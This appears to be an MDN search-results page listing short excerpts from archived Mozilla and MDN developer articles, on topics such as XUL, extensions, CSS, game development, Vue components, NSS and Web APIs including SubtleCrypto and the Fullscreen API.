... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
...the uri for the bookmark needs to be specified using an nsiuri object.
...And 3 more matches
Finding window handles - Archive of obsolete content
comparing to the method above, by using this method, you don't have to compile your component with nsiwidget.h and other bunchs of h files that should not be exposed to outside, and could change every time firefox updates, all you need is nsibasewindow.idl(it's not in gecko_sdk, get this from the latest firefox source, or http://mxr.mozilla.org/mozilla/sourc...basewindow.idl), and use xpidl to compile it to .h file, although that's stl...
...notice that by using only the c++ part of this code will get the the parent window handle of the nsibasewindow you give as a param.
... os specific examples using javascript (js-ctypes) nsibasewindow -> nativehandle in all of the examples below, the native handle to the most recent navigator:browser is obtained and then it is focused.
...And 3 more matches
Code snippets - Archive of obsolete content
miscellaneous miscellaneous useful code fragments html to dom using a hidden browser element to parse html to a window's dom javascript libraries here are some javascript libraries that may come in handy.
...this lets you access data in typed arrays using c-like string functions.
...downloading files code to download files, images, and to monitor download progress password manager code used to read and write passwords to/from the integrated password manager bookmarks code used to read and write bookmarks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with script using javascript and dom events to create interactive svg embedding svg in html and xul using svg to enhance html or xul based markup xul widgets html in xul for rich tooltips dynamically embed html into a xul element to attain markup in a tooltip label and description special uses and line breaking examples tree setup and manipulation...
...And 3 more matches
Enhanced Extension Installation - Archive of obsolete content
}; tracking install locations since there are only two locations, the installed location of an extension is expressed throughout the code using a boolean value, often referred to as isprofile - true if the item is installed in the profile directory's extensions folder.
... the extension manager loads the xml/rdf datasources (this is allowable and necessary because a major change has happened) and gets a list of all items that need to be installed (tracked using a tobeinstalled flag on the item in the datasource).
...code in the extension system can quickly locate an install location for an item using the getinstalllocation method which basically reads this value from the datasource and retrieves the install location from the hash of registered install locations.
...And 3 more matches
Install Manifests - Archive of obsolete content
this can be generated using the mccoy tool.
...when not included, the add-on manager will still check for updates on amo, using the id of the extension.
... the add-on manager will substitute the following values into this url in case you wish to generate the response rdf dynamically, such as using php or cgi: %req_version% the version of the request.
...And 3 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
the way to include the file in the manifest is to add this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a new line like the one above.
...gtk icons are accessed using special urls, like this one: moz-icon://stock/gtk-go-back?size=menu.
...you should also consider using a graphic designer for this work, as it takes a lot of attention to detail to make good icons.
...And 3 more matches
User Notifications and Alerts - Archive of obsolete content
using modal dialogs and alerts is usually a bad idea.
...on the other hand, alerts are displayed only temporarily using the alerts service is similar to using notification boxes: let alertsservice = cc["@mozilla.org/alerts-service;1"].getservice(ci.nsialertsservice); let title = this._bundle.getstring("xulschoolhello.greeting.title"); let message = this._bundle.getstring("xulschoolhello.greeting.label"); alertsservice.showalertnotification( "chrome://xulschoolhello/skin/hello-notification.png", title, me...
... the main disadvantage of using alerts is that support for the alerts service is not guaranteed for all platforms and firefox versions.
...And 3 more matches
Setting up an extension development environment - Archive of obsolete content
note: you could run firefox using your regular profile while developing.
...this assumes you're using directories rather than jars.
... dom inspector, used to inspect and edit the live dom of any web document or xul application (firefox and thunderbird) venkman, a javascript debugger (firefox version, thunderbird version) thunderbird developer tools, enables debugging thunderbird remotely using using firefox developer tools extension developer's extension a suite of tools for extension development (firefox) extension test an add-on which makes it easier to detect problems which will lead to rejection by addons.mozilla.org console² enhanced javascript console (firefox version, thunderbird version) javascript command for writing/testing javascript on firefox windows inspect context ...
...And 3 more matches
Tabbed browser - Archive of obsolete content
each snippet normally includes some code to run at initialization, these are best run using a load listener.
... getting access to the browser from main window code running in firefox's global chromewindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser.
... .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); mainwindow.gbrowser.addtab(...); from a dialog if your code is running in a dialog opened directly by a browser window, you can use: window.opener.gbrowser.addtab(...); if window.opener doesn't work, you can get the most recent browser window using this code: var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); mainwindow.gbrowser.addtab(...); opening a url in a new tab // add tab gbrowser.addtab("http://www.google.com/"); // add tab, then make active gbrowser.selectedtab = gbrowser.ad...
...And 3 more matches
MMgc - Archive of obsolete content
using mmgc managed vs.
...memory can be allocated with the new operator, and must be explicitly deleted in your c++ code at some later time using the delete operator.
...alternately, you can open the mmgc namespace in your c++ source so that you can refer to the objects more concisely: using namespace mmgc; ...
...And 3 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
related: xulrunner:what xulrunner provides, xulrunner hall of fame ui in mozilla mozilla's philosophy of using "the right tool for the right job" is manifested most prominently in the design of the user interface.
...you can create applications using our framework that either have a native look and feel for each os, or one which is identical on macs, pc's or unix operating systems.
...this robust standards support for the first time makes it possible to implement powerful web applications with rich user interfaces without using proprietary or platform dependent code.
...And 3 more matches
Writing textual data - Archive of obsolete content
when the file is to be read only by the application/extension itself, using utf-8 is often the best choice — it can represent all characters, and ascii characters are represented efficiently.
... os.close(); you can also write character arrays using the write function, although using writestring is simpler from javascript code.
...they work by manually converting the string you want to write to a byte sequence using nsiscriptableunicodeconverter, and writing that to the stream.
...And 3 more matches
Building Trees - Archive of obsolete content
here is an example (using an rdf source): <tree id="photoslist" flex="1" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" flags="dont-build-content"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:ht...
...when using the tree builder, the uri attribute must be declared on the treeitem element.
...compare the example with a tree builder and the same example using a content builder.
...And 3 more matches
Multiple Rules - Archive of obsolete content
this involves using additional rule elements after the first.
...ter than anotherdisplay values greater than 1000 differently beforematch if a value comes before another alphabetically aftermatch if a value comes after another alphabetically startswithmatch if a value starts with a specific string endswithmatch if a value ends with a specific string containsmatch if a value contains a substringto highlight results that contain a search term here is an example using the 'contains' operator: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?letters" expr="string-length(@name) - 1"/> </query> <rule> <where subject="?name" rel="contains" value=" "/> <action> <label uri="?" value="?name has two names for a total length of ?letters"/> </action> </rule> </temp...
...in this simple example with one rule though, it would likely be simpler and faster to just filter these out using the query xpath expression rather than generating the results then using a condition to filter them.
...And 3 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
the sessions can be set using the searchsessions attribute or by calling the addsession method.
...the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute.
...using it with an anchor tag (an <a> link) will have no effect.
...And 3 more matches
Commands - Archive of obsolete content
by using commands, much of the work is handled for you.
...a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
... the two are then linked using the command attribute, which has the value of the command's id.
...And 3 more matches
Content Panels - Archive of obsolete content
in the mozilla browser window, the area where the web page is displayed is created by using an iframe.
... browsers there is a second type of content panel, using the browser tag.
... browser example example 2 : source view <browser src="http://www.mozilla.org" flex="1" /> as with the iframe, you can specify the url in a browser using the src attribute.
...And 3 more matches
Creating a Skin - Archive of obsolete content
or, you can temporarily place it in the content directory and refer to it using a stylesheet directive.
... creating a custom skin package to create a skin, do the following: (if you are using firefox 1.5 or later, see manifest files instead of below) create a directory somewhere where you want to place the skin files.
...we can then refer to it using the url 'chrome://findfile/skin/findfile.css'.
...And 3 more matches
RDF Datasources - Archive of obsolete content
the resource can be referred to using rdf:history as the datasource.
...using the history list example let's see an example of displaying the history list.
... possible files roots nc:filesroot top level of the filesystem (usually the list of drives) a file url by using a file url for the ref attribute, you can select a specific directory to be returned.
...And 3 more matches
XML - Archive of obsolete content
using a combination of xul's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and xul's incorporation of such standards as html4, dom1/2, and cascading stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies.
... when someone says they are using xml, what they probably mean is that they have used xml to define their own syntax for marking up some data they are interested in.
...it will consist of a lexicon of four terms: memo, to, from, body -- all of which fit together into a syntax represented in most xml circles as: <!element memo (from, to, body)> for developers accustomed to reading and using xml, this definition indicates that the root element "memo" is constituted by a "from" element, then a "to" element, then a "body" element.
...And 3 more matches
listbox - Archive of obsolete content
you may specify the number of rows to display in the list using the rows attribute.
... additional rows can be viewed using a scroll bar.
...using it with an anchor tag (an <a> link) will have no effect.
...And 3 more matches
listitem - Archive of obsolete content
the text of the listitem is specified either using listcell elements, or by placing a label attribute directly on the listitem element.
... none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...And 3 more matches
SSL and TLS - Archive of obsolete content
the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows.
... both of these protocols support using a variety of different cryptographic algorithms, or ciphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys.
...for 64-bit machines, consider using stronger keys.
...And 3 more matches
display-inside - Archive of obsolete content
values auto if the element's computed <display-outside> value is inline-level, the element is an inline element, and lays out its contents using inline layout.
... block the element lays out its contents using block layout.
... table the element lays out its contents using table layout.
...And 3 more matches
Processing XML with E4X - Archive of obsolete content
continuing the above example, we can access an xmllist of the <lang> elements in the page as follows: var langs = languages.lang; xmllist provides a length() method which can be used to find the number of contained elements: alert(languages.lang.length()); note that unlike javascript arrays length is a method, not a property, and must be called using length().
... we can iterate through the matching elements like so: for (var i = 0; i < languages.lang.length(); i++) { alert(languages.lang[i].tostring()); } here we are using identical syntax to that used to access numbered items in an array.
...as with for...in, using it with arrays is strongly discouraged.
...And 3 more matches
3D collision detection - Game development
if we assume that px, py and pz are the point's coordinates, and bminx–bmaxx, bminy–bmaxy, and bminz–bmaxz are the ranges of each axis of the aabb, we can calculate whether a collision has occurred between the two using the following formula: f(p,b)=(px>=bminx∧px<=bmaxx)∧(py>=bminy∧py<=bmaxy)∧(pz>=bminz∧pz<=bmaxz)f(p,b)= (p_x >= b_{minx} \wedge p_x <= b_{maxx}) \wedge (p_y >= b_{miny} \wedge p_y <= b_{maxy}) \wedge (p_z >= b_{minz} \wedge p_z <= b_{maxz}) or in javascript: function ispointinsideaabb(point, box) { return (point.x >= box.minx && point.x <= box.maxx) && (point.y >= box.miny ...
...we just need to do one test per axis, using the boxes' boundaries.
... mathematically this would look like so: f(a,b)=(aminx<=bmaxx∧amaxx>=bminx)∧(aminy<=bmaxy∧amaxy>=bminy)∧(aminz<=bmaxz∧amaxz>=bminz)f(a,b) = and in javascript, we'd use this: function intersect(a, b) { return (a.minx <= b.maxx && a.maxx >= b.minx) && (a.miny <= b.maxy && a.maxy >= b.miny) && (a.minz <= b.maxz && a.maxz >= b.minz); } bounding spheres using bounding spheres to detect collisions is a bit more complex than aabb, but still fairly quick to test.
...And 3 more matches
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
...you should start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome — download firefox nightly or chrome (v54 or higher).
...add this just before the closing </a-scene> element: <a-camera position="0 1 4" cursor-visible="true" cursor-scale="2" cursor-color="#0095dd" cursor-opacity="0.5"> </a-camera> we've also defined a cursor for the given camera, using the cursor-* attributes (by default it is invisible.) — we've set its scale so it will more easily visible, its color, and some opacity so it won't completely covering the objects behind it.
...And 3 more matches
Building up a basic demo with the PlayCanvas engine - Game development
you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
... playcanvas application to begin developing our game we have to create the playcanvas application first (using the given <canvas> element), and then start the update loop.
... var boxmaterial = new pc.phongmaterial(); boxmaterial.diffuse.set(0, 0.58, 0.86); boxmaterial.update(); box.model.model.meshinstances[0].material = boxmaterial; by diffusing the light on the object we can give it it's own color —we'll choose a nice familiar blue.
...And 3 more matches
3D games on the Web - Game development
there's an ongoing effort on releasing webgl 2.0 (based on opengl es 3.0) in the near future, which will bring many improvements and will help developers build games for the modern web using current, powerful hardware.
... there's also the building up a basic demo with a-frame article showing you how easy it is to build 3d environments for virtual reality using the a-frame framework.
...using a framework for 3d games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself.
...And 3 more matches
Desktop mouse and keyboard controls - Game development
the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose.
... we could write our own keycode object containing the key codes, for example: var keyboardhelper = { left: 37, up: 38, right: 39, down: 40 }; that way instead of using the codes to compare the input in the handler functions we could do something like this, which is arguably easier to remember: if(event.keycode == keyboardhelper.left) { leftpressed = true; } note: you can also find a list if the different keycodes and what keys they relate to in the keycode reference page.
... it's useful to provide an option to play the game on desktop without using a mouse, so you don't have to take your hands off the keyboard.
...And 3 more matches
Tutorials - Game development
2d breakout game using pure javascript in this step-by-step tutorial you'll implement a simple breakout clone using pure javascript.
... along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
... 2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thephaser html5 game framework.
...And 3 more matches
Handling different text directions - Learn web development
in the example below we have a heading displayed using writing-mode: vertical-rl.
...blocks are only displayed from the top to the bottom of the page if you are using a writing mode that displays text horizontally, such as english.
...you can see that when the box is in the vertical writing mode, it still has a width, and this is causing the text to overflow.
...And 3 more matches
How CSS is structured - Learn web development
to apply uniform css styling to multiple pages using internal stylesheets, you must have an internal stylesheet in every web page that will use the styling.
...the implementation of an inline style in an html document might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> </head> <body> <h1 style="color: blue;background-color: yellow;border: 1px solid black;">hello world!</h1> <p style="color:red;">this is my first css example</p> </body> </html> avoid using css in this way when possible.
...you might have to resort to using inline styles if your working environment is very restrictive.
...And 3 more matches
What is CSS? - Learn web development
using css you can control exactly how html elements look in the browser, presenting your markup using whatever design you like.
... a document is usually a text file structured using a markup language — html is the most common markup language, but you may also come across other markup languages such as svg or xml.
... css modules as there are so many things that you could style using css, the language is broken down into modules.
...And 3 more matches
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
browsers use the doctype declaration to choose whether to show the document using a mode that is more compatible with web standards or with old browser bugs.
... using a correct and modern doctype declaration at the start of your html will improve browser standards compliance.
... it is generally recommended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique): using classes makes your styling extensible — even if you only have one element to style with a particular ruleset now, you might want to add more later.
...And 3 more matches
Web fonts - Learn web development
objective: to learn how to apply web fonts to a web page, using either a third party service, or by writing your own code.
... font families recap as we looked at in fundamental text and font styling, the fonts applied to your html can be controlled using the font-family property.
...it is difficult to demonstrate this using an embedded live example, so instead, we would like you to follow the steps detailed in the below sections, to get an idea of the process.
...And 3 more matches
HTML forms in legacy browsers - Learn web development
type="color" id="mycolor" name="color"> </label> supported not supported form buttons there are two ways to define buttons within html forms: the <input> element with its attribute type set to the values button, submit, reset or image the <button> element <input> the <input> element can make things a little difficult if you want to apply some css by using the element selector: <input type="button" value="click me"> if we remove the border on all inputs, can we restore the default appearance on input buttons only?
...before using features that aren't fully supported in the browsers your targeting, you should feature detect: css feature detection before styling a replaced form control widget, you can check to see if the browser supports the features you plan on using using @supports: @supports (appearance: none) { input[type="search"] { appearance: none; /* restyle the search input */ } theappearance property c...
...an be used to display an element using platform-native styling, or, as is done with the value of none, remove default platform-native based styling.
...And 3 more matches
HTML text fundamentals - Learn web development
if you make a mistake, you can always reset it using the reset button.
...i hope not.) in a similar vein, we need to make sure we are using the correct elements, giving our content the correct meaning, function, or appearance.
... in this context the <h1> element is also a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, the browser will give it a large font size to make it look like a heading (although you could style it to look like anything you wanted using css).
...And 3 more matches
Looping code - Learn web development
you should get the basic idea — we are using a loop to run 100 iterations of this code, each one of which draws a circle in a random position on the page.
... if we weren't using a loop here, we'd have to repeat the following code for every circle we wanted to draw: ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); this would get very boring and difficult to maintain very quickly.
... we store the value entered into the text input in a variable called searchname, before then emptying the text input and focusing it again, ready for the next search.
...And 3 more matches
Video and Audio APIs - Learn web development
only when you are hovering/focusing over the player do the controls appear at full opacity.
... we lay out the buttons inside the control bar using flexbox (display: flex), to make things easier.
... we apply the custom web font to our buttons using font-family.
...And 3 more matches
Properly configuring server MIME types - Learn web development
serving content using the correct mime type can also be important for security reasons; it's possible for malicious content to affect the user's computer by pretending to be a safe type of document when it is in fact not.
... if your content was created using a vendor's software application, read the vendor's documentation to see what mime types should be reported for different media types.
... if the media type is displayed using a plug-in in netscape gecko, install the plug-in and then look in the help->about plug-ins menu to see what mime types are associated with the media type.
...And 3 more matches
Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.
...let’s update our counterbutton code from above to allow it to count clicks: function counterbutton() { const [count, setcount] = usestate(0); return ( <button onclick={() => setcount(count + 1)}>clicked {count} times</button> ); } in this version we are using additional usestate() functionality to create a special setcount() function, which we can invoke to update the value of count.
... handling dependencies all major frameworks provide mechanisms for handling dependencies — using components inside other components, sometimes with multiple hierarchy levels.
...And 3 more matches
Creating our first Vue component - Learn web development
objective: to learn how to create a vue component, render it inside another component, pass data into it using props, and save its state.
... <template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">my todo item</label> </div> </template> using todoitem inside our app this is all fine, but we haven’t added the component to our app yet, so there’s no way to test it and see if everything is working.
... your component object should now look like this: <script> export default { props: { label: { required: true, type: string }, done: { default: false, type: boolean } } }; </script> using registered props with these props defined inside the component object, we can now use these variable values inside our template.
...And 3 more matches
Rendering a list of Vue components - Learn web development
in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive.
...this way you have some data available for rendering using v-for.
...to make sure it is re-using list elements appropriately, it needs a unique "key" on the same element that you attach v-for to.
...And 3 more matches
Mozilla’s UAAG evaluation report
(p1) vg html: caption element (table): renders in graphical interpretation, can be styled using css html: thead element (table): available through dom, can be styled using css?
... html: tbody element (table): available through dom, can be styled using css?
... html: tfoot element (table): available through dom, can be styled using css?
...And 3 more matches
Limitations of chrome scripts
to make the shim unnecessary: factor the code that needs to access content into a separate script, load that script into the content process as a frame script, and communicate between the chrome script and the frame script using the message-passing apis.
... see the article on using the message manager.
...in an http observer, you can get the browser message manager for the window using code like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var loadcontext = httpchannel.notificationcallbacks.getinterface(ci.nsiloadcontext); // topframeelement is the <browser> element var topframeelement = loadcontext.topframeelement; var browsermm = topframeelement.mes...
...And 3 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments.
...if you're using the message manager in an add-on, a good way to do that is to prefix messages with your add-on's id.
...details and tag properties, and exposes the event.target object as a cpow: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag : event.target.tagname }, { target : event.target }); }, false); to receive messages from content, a chrome script needs to add a message listener using the message manager's addmessagelistener() api.
...And 3 more matches
Localizing with Mozilla Translator
getting started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt.
... after translating those strings (if using the edit phrase dialog, you can get translation suggestions for strings having an original text equal to existing translations), you can run some automated tests to detect typical errors.
... finally, you commit your changes outside of mt, using your favorite repository tools.
...And 3 more matches
Profile Manager
to use profile manager with an application other than firefox, you need to launch it using the application's name as an argument, for example: profilemanager-bin seamonkey profiles and application versions profile manager manages two different lists: one of user profiles, and the other of application versions that can be used with the profiles.
... when launched, profile manager will look in some default locations for installed versions of firefox (or other application you're using profile manager with).
... for this reason, if you attempt to launch firefox using profile manager, and it detects that another instance of firefox is already running, it will automatically add the -no-remote argument for you, regardless of whether this launch option was checked.
...And 3 more matches
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
if you are using jdk 1.3.x, you will need to use at least version 1.3.1--see bug 113808.
...for jss 3.2 and higher, if you use jdk 1.4 or higher you will not need to install the jce, but if you using an earlier version of the jdk then you will also have to install jce 1.2.1.
... see also the document using jss.
...And 3 more matches
NSS sources building testing
if you are a software developer and intend to contribute enhancements to nss, you should obtain the latest development snapshot of nss using mercurial/hg (a distributed source control management tool).
... nss/cmd contains a set of various tool programs that are built using nss.
... several tools are general purpose and can be used to inspect and manipulate the storage files that software using the nss library creates and modifies.
...And 3 more matches
Exact Stack Rooting
this means it must be manually traced by the object's owner: this is both fragile and more expensive than using an extra reserved slot, or even just putting a new property on the object.
... because of the lifo restriction, using this interface manually is extremely cumbersome.
...by using js::handlet in the interface instead of direct gcpointers, we ensure that the gcthing is already rooted on some previous stack frame, freeing us from having to worry about rooting the gcthing for the duration of the call.
...And 3 more matches
Signing Mozilla apps for Mac OS X
signing mozilla apps without the signing server firefox and thunderbird are built using mozilla's release automation infrastructure.
... on mac os x, part of this infrastructure is automatic signing of the ".app" folder using apple's codesign tool.
... for projects that don't use mozilla's release automation and would like to be signed for secure launching on os 10.8 mountain lion and later, this guide should provide some insight into how to make sure applications are signed correctly using apple's codesign tool.
...And 3 more matches
Introduction to XPCOM for the DOM
an interface can also be defined using xpidl.
... an instance of a class (called an object) can be allocated dynamically (on the heap, or free store), using the syntax nsfoo *fooptr = new nsfoo; that object can then be manipulated only through fooptr.
...this is done using the "release" function, also defined in the nsisupports interface.
...And 3 more matches
Observer Notifications
unless otherwise noted you register for the topics using the nsiobserverservice.
... profile-before-change-qm called to shut down the quotamanager; this is separated from profile-before-change to allow everything inside profile-before-change to continue using it.
... profile-before-change-telemetry called to shut down telemetry, again separated to allow everything before this event to continue using it.
...And 3 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated.
...the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties.
...try to avoid using it.
...And 3 more matches
Xray vision
the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges.
...when a script accesses an object using xray vision it sees only the native version of the object.
...so when chrome code accesses content objects, it sees them with xray vision: // chrome code var transfer = gbrowser.contentwindow.confirm("transfer all my money?"); // calls the native implementation note that using window.confirm() would be a terrible way to implement a security policy, and is only shown here to illustrate how xray vision works.
...And 3 more matches
Address Book examples
once you have an object that implements nsiabcollection (see above), you can search for cards with particular properties within that collection using getcardfromproperty.
...use the nsiabcollection.readonly attribute to determine the read-only status of an address book adding contacts create a card and set its properties using the nsiabcard interface (see the interface documentation for property names supported by the application): let card = components.classes["@mozilla.org/addressbook/cardproperty;1"] .createinstance(components.interfaces.nsiabcard); card.setproperty("firstname", "john"); card.setproperty("lastname", "smith"); card.primaryemail = "john@invalid.com"; now add the card to an a...
...using the propertieschromeuri means that the different implementations can call up their own dialog.
...And 3 more matches
Memory - Plugins
in addition, the plug-in usually has the option of using its own memory functions.
... npn_memfree deallocates a block of memory allocated using npn_memalloc.
...using npn_memalloc offers several advantages to the plug-in.
...And 3 more matches
URLs - Plugins
nntp (usenet news using nntp access) locates usenet news groups or individual usenet articles; alternate to news.
... wysiwyg placed before another url; displays a page that javascript has updated using document.write.
...plug-ins can use this capability to post form data to cgi scripts using http or upload files to a remote server using ftp.
...And 3 more matches
Examine and edit HTML - Firefox Developer Tools
you can cycle backwards through matches using shift + enter.
...this can happen for different reasons such as using display: none or that the element doesn't have any dimensions.
... ::before and ::after you can inspect pseudo-elements added using ::before and ::after: custom element definition when you open the inspector on a page that includes custom elements, you can view the class definition for the custom element in the debugger: inspect the element click on the word custom the source for the element's class will be displayed in the debugger.
...And 3 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off.
...you may wish to consider using a library such as fscreen for vendor agnostic access to the fullscreen api.
... properties the document interface provides properties that can be used to determine if full-screen mode is supported and available, and if full-screen mode is currently active, which element is using the screen.
...And 3 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
this is frequently referred to as a "local context." using the ill-advised eval() function also creates a new execution context.
... using execution contexts in this manner, each program and function is able to have its own set of variables and other objects.
...by using the contexts and the context stack in this manner, many of the fundamentals of how a program operates can be managed, including local and global variables, function calls and returns, and so forth.
...And 3 more matches
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
invalidstateerror the cursor was created using idbindex.openkeycursor, is currently being iterated, or has iterated past its end.
...if the albumtitle of the current cursor is "a farewell to kings", we update year the album was released using var request = cursor.update();.
... note that you cannot change primary keys using cursor.update(), hence us not changing the album title; this would ruin the integrity of the data.
...And 3 more matches
MediaStreamTrack - Web APIs
properties in addition to the properties listed below, mediastreamtrack has constrainable properties which can be set using applyconstraints() and accessed using getconstraints() and getsettings().
...in that case, the output of data can be switched on or off using the enabled attribute.
... mediastreamtrack.getconstraints() returns a mediatrackconstraints object containing the currently set constraints for the track; the returned value matches the constraints last set using applyconstraints().
...And 3 more matches
Recording a media element - Web APIs
while the article using the mediastream recording api demonstrates using the mediarecorder interface to capture a mediastream generated by a hardware device, as returned by navigator.mediadevices.getusermedia(), you can also use an html media element (namely <audio> or <video>) as the source of the mediastream to be recorded.
...note that the autoplay attribute is used so that as soon as the stream starts to arrive from the camera, it immediately gets displayed, and the muted attribute is specified to ensure that the sound from the user's microphone isn't output to their speakers, causing an ugly feedback loop.
...it works by using an arrow function which calls window.settimeout(), specifying the promise's resolution handler as the timeout handler function.
...And 3 more matches
MessageEvent - Web APIs
using an onmessage handler as listed above).
...the different scripts are using the same worker file to perform the calculation — they can both access it, even if their pages are running inside different windows.
... the following code snippet shows creation of a sharedworker object using the sharedworker() constructor.
...And 3 more matches
Selection - Web APIs
WebAPISelection
notes string representation of a selection calling the selection.tostring() method returns the text contained within the selection, e.g.: var selobj = window.getselection(); window.alert(selobj); note that using a selection object as the argument to window.alert will call the object's tostring method.
... a selection api method is called, causing a new selection to be made with the selection range inside the editing host.
... the above behavior applies to selections made using the following methods: selection.collapse() selection.collapsetostart() selection.collapsetoend() selection.extend() selection.selectallchildren() selection.addrange() selection.setbaseandextent() and when the range is modified using the following methods: range.setstart() range.setend() range.setstartbefore() range.setstartafter() range.setendbefore() range.setendafter() range.collapse() range.selectnode() range.selectnodecontents() glossary other key terms used in this section.
...And 3 more matches
SharedWorkerGlobalScope - Web APIs
sharedworkerglobalscope.name read only the name that the sharedworker was (optionally) given when it was created using the sharedworker() constructor.
... sharedworkerglobalscope.applicationcache read only this property returns the applicationcache object for the worker (see using the application cache).
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
...And 3 more matches
SubtleCrypto.importKey() - Web APIs
extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
... the pkcs #8 format is defined in rfc 5208., using the asn.1 notation: privatekeyinfo ::= sequence { version version, privatekeyalgorithm privatekeyalgorithmidentifier, privatekey privatekey, attributes [0] implicit attributes optional } the importkey() method expects to receive this object as an arraybuffer containing the der-encoded form of the privatekeyinfo.
...yqgsm49agegbsubbaaibigemigbagebbdau9bd0jxdff5ov380z 9vieun2w5kjdz3hbuadencxliamsoquktffaou71eldn0tshzaniaarmuhcee/cp xmjgc1roj0d0k6vluqta+jvcwigxciaukoethcngzdkcrd4pkxdbvbcijdzkvo+l ml2fikoovzh/8yetkmjumb804g6omjuc9vvojcrv0ydasmykkjmjblg= -----end private key----- to get this into a format you can give to importkey() you need to do two things: base64-decode the part between header and footer, using window.atob().
...And 3 more matches
SubtleCrypto.unwrapKey() - Web APIs
extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
...the key was exported in "raw" format and encrypted using the aes-kw algorithm, with a key derived from a password.
...*/ function getkeymaterial() { let password = window.prompt("enter your password"); let enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* derive an aes-kw key using pbkdf2.
...And 3 more matches
SubtleCrypto - Web APIs
if you're not sure you know what you are doing, you probably shouldn't be using this api.
...the wrapped key matches the format specified in the given parameters, and wrapping is done by the given wrapping key, using the specified algorithm.
... using subtlecrypto we can split the functions implemented by this api into two groups: cryptography functions and key management functions.
...And 3 more matches
WebGLRenderingContext.getParameter() - Web APIs
parameter names webgl 1 you can query the following pname parameters when using a webglrenderingcontext.
